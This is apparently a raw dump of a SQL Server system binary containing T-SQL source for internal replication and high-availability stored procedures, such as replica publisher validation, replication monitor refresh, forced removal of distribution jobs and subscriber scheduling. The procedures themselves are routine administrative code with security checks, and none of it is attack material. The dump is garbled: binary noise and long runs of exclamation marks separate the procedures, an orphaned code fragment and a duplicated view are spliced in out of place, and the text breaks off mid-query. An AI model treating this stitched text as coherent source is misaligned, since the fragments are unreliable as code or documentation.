--               with the redirected publisher (VNN Name) are hosted
--               by SQL Server instances capable of serving as replication
--               publishers for the database. 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 on success; 1 on failure; raise error on failure.
--
-- Security: Internal stored procedure.
--
create procedure sys.sp_hadr_validate_replica_hosts_as_publishers
(
    @original_publisher sysname,
    @redirected_publisher sysname,
    @pubdbname sysname,
    @publisher_linked_server sysname
)
as
begin

    set nocount on
    set ANSI_WARNINGS on

    declare @cmd nvarchar(1000),
        @query nvarchar(1000),
        @retcode int,
        @replica_count int,
        @original_error_number int,
        @original_error_message nvarchar(4000),
		@replica_server_name sysname
    
    set @retcode = 0
    set @replica_count = 0
 
    create table #replica_table (replica_server_name sysname)
        
	begin try
		set @cmd = N'master.sys.sp_executesql'
    	set @query = N'insert into #replica_table select * from OPENQUERY(' + quotename(RTRIM(@publisher_linked_server)) + 
			', ''SELECT distinct ar.replica_server_name from sys.availability_replicas ar ' +
			'inner join sys.availability_databases_cluster ad on ad.group_id = ar.group_id ' +
			'where ad.database_name = ''''' + replace(@pubdbname,'''', '''''') + ''''''')'
			
        exec @retcode = @cmd @query
        
        if @retcode <> 0 
        begin
            raiserror(21892, 16, -1, @redirected_publisher, @original_error_number, @original_error_message)
        end
    end try
	
	begin catch
		exec sys.sp_hadr_get_current_error @original_error_number output, @original_error_message output
        exec sys.sp_hadr_drop_linked_server @publisher_linked_server
        drop table #replica_table
        raiserror(21892, 16, -1, @redirected_publisher, @original_error_number, @original_error_message)
		return 1
	end catch
	
	-- If the result set returned is empty, the availability group has no replicas.
	--
	select @replica_count = count(*) from #replica_table
	
	if @replica_count = 0
	begin
	    exec sys.sp_hadr_drop_linked_server @publisher_linked_server
	    drop table #replica_table
        raiserror(21872, 10, 0, @redirected_publisher)
	    return 0
	end    
	    
	-- Validate each returned replica as a publisher for the database 
	-- 
    declare #hcrep cursor LOCAL FAST_FORWARD FOR 
            select replica_server_name from #replica_table

    open #hcrep
 
    fetch #hcrep into @replica_server_name
    
    while (@@fetch_status != -1)
    begin

 		-- Set the netname to the redirected target.
		--
		begin try
			execute @retcode = sys.sp_setnetname  @publisher_linked_server, @replica_server_name
        
			if (@@error <> 0 or @retcode <> 0)
			begin
				raiserror (21894, 16, -1, @replica_server_name, @retcode) 
			end
		end try

		begin catch
				raiserror (21894, 16, -1, @replica_server_name, @retcode)
				fetch #hcrep into @replica_server_name 
				continue 
		end catch

		-- Validate the replica server as a replication publisher for the database
		--
		execute @retcode = sys.sp_hadr_validate_replica_host_as_publisher @publisher_linked_server, @original_publisher, @pubdbname,
			@replica_server_name
                
		if (@@error <> 0 or @retcode <> 0)
        begin
            raiserror (21895, 10, -1, @replica_server_name) 
        end
		      
        fetch #hcrep into @replica_server_name
    end
    
    close #hcrep
    deallocate #hcrep
    	
    exec sys.sp_hadr_drop_linked_server @publisher_linked_server
    drop table #replica_table

	return 0
end	
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`	<	#*20O_ 8create procedure sys.sp_replmonitorrefreshjob 
(
    @iterations tinyint = 0 -- 0 - run continuously, non 0 - run for specified iterations
    ,@profile bit = 0 -- for internal use - DO NOT DOCUMENT (remove this before release)
)
as
begin
    set nocount on
    declare @retcode int
                ,@distribution_db sysname
                ,@loopcounter tinyint
                ,@prechecksum int
                ,@postchecksum int
                ,@lastcomputetime int
                ,@delaytime int 
                ,@strdelaytime sysname
                ,@datebuf datetime
                ,@refreshpolicy tinyint

    --
    -- initialize
    --
    select @distribution_db = db_name()
                ,@loopcounter = 0
                ,@prechecksum = 0
                ,@postchecksum = 0
                ,@lastcomputetime = 0
                ,@refreshpolicy = 1
    --
    -- security check
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security: Has to be executed from distribution database
    --
    if sys.fn_MSrepl_isdistdb (@distribution_db) != 1
    begin
        raiserror (21482, 16, -1, 'sp_replmonitorrefreshjob', 'distribution')
        return 1
    end
    --
    -- validate @iterations
    --
    if (@iterations < 0)
    begin
        raiserror(20587, 16, -1, '@iterations', 'sp_replmonitorrefreshjob')
        return (1)
    end
    --
    -- We are going through the main loop to do refresh
    --
    while (1=1)
    begin
        --
        -- get the checksum value before refresh
        --
        select @prechecksum = checksum(time_stamp)
            from dbo.MSreplication_monitordata
        
        --
        -- refresh the cache
        --
        exec @retcode = sys.sp_replmonitorrefreshdata @refreshpolicy = @refreshpolicy, @profile = @profile
        if @retcode != 0 or @@error != 0
            return 1
        --
        -- check if we need to break out of loop
        --
        if (@iterations > 0)
        begin
            select @loopcounter = @loopcounter + 1 
            if (@profile = 1)
                raiserror('Completed %d iteration(s)', 10, 1, @loopcounter)
            if (@iterations = @loopcounter)
                break
        end
        --
        -- we need to wait for next cycle
        -- get the checksum value after refresh
        --
        select @postchecksum = checksum(time_stamp)
                    ,@lastcomputetime = isnull(computetime, 0)
            from dbo.MSreplication_monitordata
       
        --
        -- compute how much to wait in seconds
        --
        select @delaytime = case 
            -- no changes were there in cache
            when (@prechecksum = @postchecksum) then case when (30 > @lastcomputetime) then 30 else @lastcomputetime end
            -- changes were there in cache
            else case when (4 > @lastcomputetime) then 4 else @lastcomputetime end 
            end
        --
        -- convert the delaytime to usable format
        --
        select @datebuf = dateadd(ss, @delaytime, 0x0)
        select @strdelaytime = cast(datepart(hh, @datebuf) as nvarchar(4)) + N':'
                    + cast(datepart(mi, @datebuf) as nvarchar(4)) + N':'
                    + cast(datepart(ss, @datebuf) as nvarchar(6)) 
        --
        -- wait for given delay
        --
        if (@profile = 1)
            raiserror('Waitfor delay %s', 10, 1, @strdelaytime)
        waitfor delay @strdelaytime
    end -- while (1=1)
    --
    -- all done
    --
    return 0
end
0_@ 8
create procedure sys.sp_MSfixupdistributorsecurity (
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @distributor_security_mode int, -- default 1 -- standard
    @distributor_login sysname, -- default null
    @distributor_password nvarchar(524), -- default null
    @subscription_type int
    )
AS
    DECLARE @local_distributor_security_mode int
    DECLARE @local_distributor_login sysname 
    DECLARE @local_distributor_password nvarchar(524) 
    DECLARE @retcode INT

    -- Check to ensure a login is provided if security mode is SQL Server authentication.
    select @distributor_login = rtrim(ltrim(isnull(@distributor_login, '')))
    if @distributor_security_mode = 0 and @distributor_login = ''
    begin
        -- '@distributor_login cannot be null or empty when @distributor_security_mode is set to 0 (SQL Server authentication).'
        raiserror(21694, 16, -1, '@distributor_login', '@distributor_security_mode')
        return 1
    end
    
    EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
       @publisher = @publisher,
       @publisher_db = @publisher_db,
       @publication = @publication,
       @property = N'distributor_security_mode',
       @intvalue = @distributor_security_mode,
       @subscription_type = @subscription_type
    
    IF @retcode <> 0 OR @@ERROR <> 0
        GOTO FixupFailure
                                
    EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
       @publisher = @publisher,
       @publisher_db = @publisher_db,
       @publication = @publication,
       @property = N'distributor_login',
       @strvalue = @distributor_login,
       @subscription_type = @subscription_type
    
    IF @retcode <> 0 OR @@ERROR <> 0
        GOTO FixupFailure

    EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
       @publisher = @publisher,
       @publisher_db = @publisher_db,
       @publication = @publication,
       @property = N'distributor_password',
       @strvalue = @distributor_password,
       @subscription_type = @subscription_type
    
    IF @retcode <> 0 OR @@ERROR <> 0
        GOTO FixupFailure

    RETURN 0

FixupFailure:
    RETURN 1
 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<`	@$a0C P8th>F0qW 8CREATE PROCEDURE sys.sp_MSforce_drop_distribution_jobs
(
	@publisher		sysname,
	@publisher_db	sysname
    ,@type		nvarchar(5) = N'both'	-- 'merge' or 'tran' or 'both' to cleanup.
)
AS
BEGIN
	DECLARE @retcode			int,
			@agent_id			int,
			@publisher_id		smallint,
			@publication		sysname,
			@subscriber			sysname,
			@subscriber_id		smallint,
			@subscriber_db		sysname,
			@subscription_type	int
			,@drop_tran_jobs bit
			,@drop_merge_jobs bit
	
	-- Security Check
    IF ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0 
    BEGIN
        RAISERROR(21089, 16, -1)
		RETURN 1
    END
	
	IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) IN (N'tran', N'both')
		AND DatabasePropertyEx(@publisher_db, 'IsPublished') = 1
	BEGIN
		set @drop_tran_jobs = 1
	END
	else
	begin
		set @drop_tran_jobs = 0
	end

	IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) IN (N'merge', N'both')
		AND DatabasePropertyEx(@publisher_db, 'IsMergePublished') = 1
	BEGIN
		set @drop_merge_jobs = 1
	END
	else
	BEGIN
		set @drop_merge_jobs = 0
	END

	-- retrieve the publisher_id and if we do not 
	-- find one then we can just exit silently...
	SELECT @publisher_id = server_id
		FROM sys.servers
		WHERE UPPER(name) = UPPER(@publisher)
	IF @publisher_id IS NULL
	BEGIN
		RETURN 0
	END
	
	BEGIN TRANSACTION tr_drop_distribution_jobs
	SAVE TRANSACTION tr_drop_distribution_jobs

	-------------------------
	-- DROP QREADER AGENTS
	-------------------------

	-- NOTE:
	--		We do not drop qreader agents in the force
	--		drop case since we have no way of knowing 
	--		when we can drop the qreader agent (i.e. 
	--		when the publisher is using it still...)


	-------------------------
	-- DROP SNAPSHOT AGENTS
	-------------------------
	DECLARE #cursorSnapshot CURSOR LOCAL FAST_FORWARD FOR
		SELECT publication
			FROM MSsnapshot_agents
			WHERE publisher_id = @publisher_id
				AND publisher_db = @publisher_db
				AND ((@drop_tran_jobs = 1 and publication_type = 1)
					or (@drop_merge_jobs = 1 and publication_type = 2)
				)
	FOR READ ONLY
	
	OPEN #cursorSnapshot

	FETCH #cursorSnapshot INTO @publication
	WHILE @@FETCH_STATUS != -1
	BEGIN
		EXEC @retcode = sys.sp_MSdrop_snapshot_agent @publisher = @publisher,
														@publisher_db = @publisher_db,
														@publication = @publication
		IF @@ERROR != 0 OR @retcode != 0
			GOTO UNDO

		FETCH #cursorSnapshot INTO @publication
	END

	CLOSE #cursorSnapshot
	DEALLOCATE #cursorSnapshot

	if (@drop_tran_jobs = 1)
	begin
		-------------------------
		-- DROP LOGREADER AGENTS
		-------------------------
		DECLARE #cursorLogreader CURSOR LOCAL FAST_FORWARD FOR
			SELECT publication
				FROM MSlogreader_agents
				WHERE publisher_id = @publisher_id
					AND publisher_db = @publisher_db
		FOR READ ONLY
		
		OPEN #cursorLogreader

		FETCH #cursorLogreader INTO @publication
		WHILE @@FETCH_STATUS != -1
		BEGIN
			EXEC @retcode = sys.sp_MSdrop_logreader_agent @publisher = @publisher,
															@publisher_db = @publisher_db,
															@publication = @publication
			IF @@ERROR != 0 OR @retcode != 0
				GOTO UNDO

			FETCH #cursorLogreader INTO @publication
		END

		CLOSE #cursorLogreader
		DEALLOCATE #cursorLogreader

		-----------------------------
		-- DROP DISTRIBUTION AGENTS
		-----------------------------
		DECLARE #cursorDistrib CURSOR LOCAL FAST_FORWARD FOR
			SELECT publication,
					subscriber_id,
					subscriber_db,
					subscription_type
				FROM MSdistribution_agents
				WHERE publisher_id = @publisher_id
					AND publisher_db = @publisher_db
		FOR READ ONLY
		
		OPEN #cursorDistrib

		FETCH #cursorDistrib INTO @publication, @subscriber_id, @subscriber_db, @subscription_type
		WHILE @@FETCH_STATUS != -1
		BEGIN
			EXEC @retcode = sys.sp_MSdrop_distribution_agent @publisher_id = @publisher_id,
																@publisher_db = @publisher_db,
																@publication = @publication,
																@subscriber_id = @subscriber_id, 
																@subscriber_db = @subscriber_db, 
																@subscription_type = @subscription_type
			IF @@ERROR != 0 OR @retcode != 0
				GOTO UNDO

			FETCH #cursorDistrib INTO @publication, @subscriber_id, @subscriber_db, @subscription_type
		END

		CLOSE #cursorDistrib
		DEALLOCATE #cursorDistrib
	end
	-----------------------------
	-- DROP MERGE AGENTS
	-----------------------------
	DECLARE #cursorReplmerg CURSOR LOCAL FAST_FORWARD FOR
		SELECT msma.publication,
				msma.subscriber_name,
				msma.subscriber_db
			FROM MSmerge_agents msma
			WHERE publisher_id = @publisher_id
				AND publisher_db = @publisher_db
				AND @drop_merge_jobs = 1
	FOR READ ONLY
	
	OPEN #cursorReplmerg

	FETCH #cursorReplmerg INTO @publication, @subscriber, @subscriber_db
	WHILE @@FETCH_STATUS != -1
	BEGIN
		EXEC @retcode = sys.sp_MSdrop_merge_agent @publisher = @publisher,
													@publisher_db = @publisher_db,
													@publication = @publication,
													@subscriber = @subscriber, 
													@subscriber_db = @subscriber_db
		IF @@ERROR != 0 OR @retcode != 0
			GOTO UNDO

		FETCH #cursorReplmerg INTO @publication, @subscriber, @subscriber_db
	END

	CLOSE #cursorReplmerg
	DEALLOCATE #cursorReplmerg

	COMMIT TRANSACTION tr_drop_distribution_jobs
	
	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tr_drop_distribution_jobs
	COMMIT TRANSACTION
	
	RETURN 1
END
0o@ 8--
-- Name: sp_hadr_drop_linked_server
--
-- Descriptions: Drop linked server without raising error
--
-- Returns: 0 - On both success and error
--
-- Security: Internal stored procedure.
--
create procedure sys.sp_hadr_drop_linked_server
(
    @publisher_linked_server sysname
)
as
begin
    begin try
        exec sp_dropserver @server = @publisher_linked_server, @droplogins = 'droplogins'
    end try
	
    begin catch
        -- do nothing here
    end catch
    return 0
end
   @frequency_recurrence_factor,
         @frequency_subday,
         @frequency_subday_interval,
         @active_start_time_of_day,
         @active_end_time_of_day,
         @active_start_date,
         @active_end_date
    
    IF @@error <> 0 OR @retcode <> 0
        BEGIN
        RAISERROR (14042, 16, -1)
        RETURN (1)
    END

    RETURN (0)
0[	@ 8CREATE VIEW sys.dm_os_memory_cache_counters AS
	SELECT *
	FROM OpenRowSet(TABLE SYSMEMORYCACHECOUNTERS)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!G`	^
<	k4wJ0 	8CREATE PROCEDURE sys.sp_MSadd_subscriber_schedule
(
    @publisher sysname,
    @subscriber sysname,
    @agent_type smallint = 0,   -- 0 for distribution agent, 1 for merge agent
    @frequency_type int = 4,
    @frequency_interval int = 1,
    @frequency_relative_interval int = 1,
    @frequency_recurrence_factor int = 0,
    @frequency_subday int = 4,
    @frequency_subday_interval int = 5,
    @active_start_time_of_day int = 0,
    @active_end_time_of_day int = 235959,
    @active_start_date int = 0,
    @active_end_date int = 99991231
)
AS
begin
   set nocount on
   declare @retcode int

    --
    -- security check
    -- only sysadmin can execute this
    --
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) 
    begin
        raiserror(21089, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadd_subscriber_schedule', 'distribution')
        return (1)
    end
    
   	/* Add the subscriber to dbo.sysservers as a RPC server, if it does not
  	** already exist.
   	*/
   	if not exists (select * from  master.dbo.sysservers where  UPPER(srvname) = UPPER(@subscriber))
	begin
      	DECLARE @upper_subscriber sysname

		SELECT @upper_subscriber = UPPER(@subscriber collate database_default)
		
        exec @retcode = dbo.sp_addserver @upper_subscriber
    	if @retcode <> 0
    		return 1
    end

	/* only insert if it doesn't exist */
	if not exists (select * 
				from MSsubscriber_schedule 
				where UPPER(publisher) = UPPER(@publisher) 
					and UPPER(subscriber) = UPPER(@subscriber) 
					and agent_type = @agent_type)
	begin
           insert MSsubscriber_schedule (publisher, subscriber, agent_type, 
		      frequency_type, frequency_interval, frequency_relative_interval,
		      frequency_recurrence_factor, frequency_subday, frequency_subday_interval,
		      active_start_time_of_day, active_end_time_of_day, active_start_date,
		      active_end_date)
		      
		      values (@publisher, @subscriber, @agent_type, 
		      @frequency_type, @frequency_interval, @frequency_relative_interval,
		      @frequency_recurrence_factor, @frequency_subday, @frequency_subday_interval,
		      @active_start_time_of_day, @active_end_time_of_day, @active_start_date,
		      @active_end_date)
		   if @@error <> 0
		      return 1
	end
end
0 18create procedure sys.sp_addsubscriber_schedule (
    @subscriber sysname,
    @agent_type smallint = 0,
    @frequency_type int = 64,
    @frequency_interval int = 1,
    @frequency_relative_interval int = 1,
    @frequency_recurrence_factor int = 0,
    @frequency_subday int = 4,
    @frequency_subday_interval int = 5,
    @active_start_time_of_day int = 0,
    @active_end_time_of_day int = 235959,
    @active_start_date int = 0,
    @active_end_date int = 99991231,
    @publisher sysname = NULL
        ) AS

    DECLARE @distributor sysname
    DECLARE @distribdb sysname
    DECLARE @distproc nvarchar (300)
    DECLARE @retcode int
    DECLARE @msg nvarchar(255)

    -- Heterogeneous publishers
    DECLARE @publisher_local sysname
    
    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    /*
    ** If @publisher is NULL, set @publisher_local to @@SERVERNAME
    ** otherwise, set @publisher_local to @publisher
    */
    IF @publisher IS NULL
    BEGIN
        select @publisher_local = publishingservername()
    END 
    ELSE
    BEGIN
	/* Check if publisher exists */
  	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher	
	IF @retcode <> 0
		RETURN (@retcode)
    /* For heterogeneous publisher, the current database must be the */
    /* distribution db for the publisher */

        select @publisher_local = @publisher

        IF NOT EXISTS ( select * from master.dbo.sysservers s, msdb..MSdistpublishers m
        where UPPER(s.srvname collate database_default) = UPPER(m.name collate database_default)
        and UPPER(s.srvname collate database_default) = UPPER(@publisher) collate database_default
        and UPPER(m.distribution_db collate database_default) = UPPER(DB_NAME()) collate database_default
        )
        RETURN (1)   
    
    IF @@ERROR <> 0 
        RETURN (1)
    
    END 

    /*
    ** Parameter Check:  @subscriber.
    ** Check to make sure that the subscriber doesn't already exist, and
    ** that the name is a valid non-null identifier.
    */

    IF @subscriber IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@subscriber', 'sp_addsubscriber_schedule')
            RETURN (1)
        END

    EXECUTE @retcode = sys.sp_validname @subscriber

    IF @@ERROR <> 0 OR @retcode <> 0
    RETURN (1)

    if LOWER(@subscriber) = 'all'
        BEGIN
            RAISERROR (14032, 16, -1, '@subscriber')
            RETURN (1)
        END

    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
				                                       @distribdb = @distribdb   OUTPUT,
				                                       @publisher = @publisher

    IF @@error <> 0
        BEGIN
         RAISERROR (14071, 16, -1)
         RETURN (1)
     END

    IF @retcode <> 0 OR @distribdb IS NULL OR @distributor IS NULL
        BEGIN
            RAISERROR (14071, 16, -1)
            RETURN (1)
        END
    
    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSadd_subscriber_schedule'
    EXEC @retcode = @distproc
         @publisher_local,
         @subscriber,
         @agent_type,
         @frequency_type,
         @frequency_interval,
         @frequency_relative_interval,
         @frequency_recurrence_factor,
         @frequency_subday,
         @frequency_subday_interval,
         @active_start_time_of_day,
         @active_end_time_of_day,
         @active_start_date,
         @active_end_date
    
    IF @@error <> 0 OR @retcode <> 0
        BEGIN
        RAISERROR (14042, 16, -1)
        RETURN (1)
    END

    RETURN (0)
0[	@ 8CREATE VIEW sys.dm_os_memory_cache_counters AS
	SELECT *
	FROM OpenRowSet(TABLE SYSMEMORYCACHECOUNTERS)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!T
`(<	s0: 	8create procedure sys.sp_MSenum_logreader_s
(
    @name nvarchar(100),
    @hours int = 0, /* @hours < 0 will return TOP 100 */
    @session_type int = 1 /* Return all sessions */
)
as
begin
    set nocount on

    declare @succeed int
    declare @agent_id int
    declare @retry int
    declare @failure int                                 
    declare @min_time datetime

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    if @session_type  not in (1,2)
    begin
        return(1)
    end 
	
    select @agent_id  = (select top 1 id from MSlogreader_agents where name = @name) 
    
    /* 
    ** Status const defined in sqlrepl.h 
    */
    select @succeed = 2
    select @retry = 5
    select @failure = 6
   	select @min_time = NULL
   	
	--
    -- Check @hours
    -- return top 100 rows if < 0
    -- return session later than if > 0
    --
    if @hours < 0
        set rowcount 100
    else if @hours > 0
        select @min_time = dateadd(hour, -@hours, getdate())
        
    /* Get date starting point */
    select rh.runstatus, 
            'start_time' = sys.fn_replformatdatetime(rh.start_time), 
            'time' = sys.fn_replformatdatetime(rh.time), 
            rh.comments, rh.duration, rh.delivery_rate, rh.delivery_latency,
        	rh.delivery_time, rh.delivered_transactions, rh.delivered_commands, rh.average_commands, 
        	hs.action_count,
        	rh.error_id
		from MSlogreader_history rh with (READPAST)
        	join (select agent_id, 
						start_time, 
						count(start_time) as action_count, 
						max(timestamp) as max_timestamp 
					from MSlogreader_history with (READPAST)
					where agent_id = @agent_id
						and comments not like N'<stats state%'
						and (@session_type = 1
							or runstatus = @failure)
					group by agent_id, start_time) as hs
        	on rh.agent_id = hs.agent_id
        		and rh.start_time = hs.start_time
        		and rh.timestamp = hs.max_timestamp
        where time >= @min_time 
        	or @min_time IS NULL
       	order by timestamp desc
end
0E 8CREATE PROCEDURE sys.sp_removedistpublisherdbreplication
(
	@publisher			sysname,
	@publisher_db		sysname
)
AS
BEGIN
	DECLARE @retcode		int,
			@publisher_id	int,
			@publication_id	int,
			@publication	sysname,
			@subscriber		sysname,
			@subscriber_id	int,
			@subscriber_db	sysname,
			@article_id		int,
			@article		sysname

	-- Security Check: require sysadmin/dbo of dist 
	IF IS_MEMBER('db_owner') != 1
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN 1
	END

	-- database must be distribution db
	IF sys.fn_MSrepl_isdistdb(DB_NAME()) <> 1
	BEGIN
		RAISERROR (21482, 16, -1, 'sp_removedistpublisherdbreplication', 'distribution')
		RETURN 1
	END

	-- retrieve the publisher_id
	SELECT @publisher_id = srvid 
		FROM master.dbo.sysservers
		WHERE UPPER(srvname) = UPPER(@publisher)
	
	BEGIN TRANSACTION
	SAVE TRANSACTION drop_publisherdb_metadata

	-- drop all subscriptions associated with the pub/pubdb
	DECLARE #cursorSubscriptions CURSOR LOCAL FAST_FORWARD FOR
		SELECT DISTINCT msp.publication,
				mss.article_id,
				msa.article,
				msyss.srvname,
				mss.subscriber_db
			FROM MSsubscriptions mss
				JOIN MSpublications msp
					ON mss.publisher_id = msp.publisher_id
						AND mss.publisher_db = msp.publisher_db
